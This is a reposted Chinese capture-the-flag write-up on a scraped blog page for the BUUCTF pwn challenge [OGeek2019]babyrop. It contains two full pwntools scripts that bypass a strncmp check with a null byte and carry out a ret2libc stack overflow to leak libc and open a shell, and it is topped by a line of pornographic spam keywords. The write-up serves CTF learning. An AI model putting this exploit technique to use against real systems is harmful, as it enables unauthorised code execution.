日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

[BUUCTF-pwn]——[OGeek2019]babyrop

發布時間:2024/4/17 编程问答 25 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [BUUCTF-pwn]——[OGeek2019]babyrop 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

[BUUCTF-pwn]——[OGeek2019]babyrop

  • 題目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop
  • 題目:

    話不多說,先checksec一下,開啟了NX保護,但是沒開啟地址隨機化。

    在IDA中看看,三個函數挨個點開看看

    第一個,啥用沒有。我也不知道寫這個函數是干嘛,可能學的還是太少。

    第二個函數,發現了棧溢出的敏感函數read。但是里面有個判斷,里面函數返回值必須為0,否則直接終止程序。通過了解strncmp函數的性質。只要v1是0,返回值必定為0。因此buf的第一個字符為 '\0’即可。

    再來看看最后一個函數,a1是上一個函數的返回值。所以a1要稍微大一點。不然一會棧溢出的時候。萬一太小是else語句的執行。太小就無法有效棧溢出了a1會長度限制。
    別問為什么不在第二個函數里面的read函數棧溢出。問就是因為0x20太小了

所以expolit為

from pwn import * from LibcSearcher import *p=remote('node3.buuoj.cn',29760) elf=ELF('./pwn') write_plt=elf.plt['write'] read_got=elf.got['read'] read_plt=elf.plt['read'] main_addr=0x8048825 payload1='\x00'+'\xff'*(0x8 - 0x1) p.sendline(payload1) p.recvline()payload='a'*(0xe7 + 0x4) payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8) p.sendline(payload)read_addr=u32(p.recv(4)) print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr) libc_base=read_addr-libc.dump('read') system_addr=libc_base+libc.dump('system') binsh=libc_base+libc.dump('str_bin_sh') p.sendline(payload1) p.recvline() payload='a'*(0xe7 + 0x4) payload+=p32(system_addr) + p32(0) +p32(binsh) p.sendline(payload)p.interactive()

孩子信心滿滿提交了 。結果晴天霹靂

孩子找了好多資料。百思不得其解,耽誤了兩三天。突然有一天,思緒一動,不會是文件名和模板一樣造成的吧。將文件由pwn改為了mian。expolit也改了改。

from pwn import * from LibcSearcher import *p=remote('node3.buuoj.cn',29760) elf=ELF('./main') write_plt=elf.plt['write'] read_got=elf.got['read'] read_plt=elf.plt['read'] main_addr=0x8048825payload1='\x00'+'\x07'*(0x8 - 0x1) p.sendline(payload1) p.recvline()payload='a'*(0xe7 + 0x4) payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8) p.sendline(payload)read_addr=u32(p.recv(4)) print 'read_addr: ' + hex(read_addr)libc=LibcSearcher('read',read_addr) libc_base=read_addr-libc.dump('read') system_addr=libc_base+libc.dump('system') bin_sh_addr=libc_base+libc.dump('str_bin_sh') p.sendline(payload1) p.recvline() payload='a'*(0xe7 + 0x4) payload+=p32(system_addr) + p32(0) +p32(bin_sh_addr) p.sendline(payload)p.interactive()

直接出結果,孩子裂開。

總結

以上是生活随笔為你收集整理的[BUUCTF-pwn]——[OGeek2019]babyrop的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。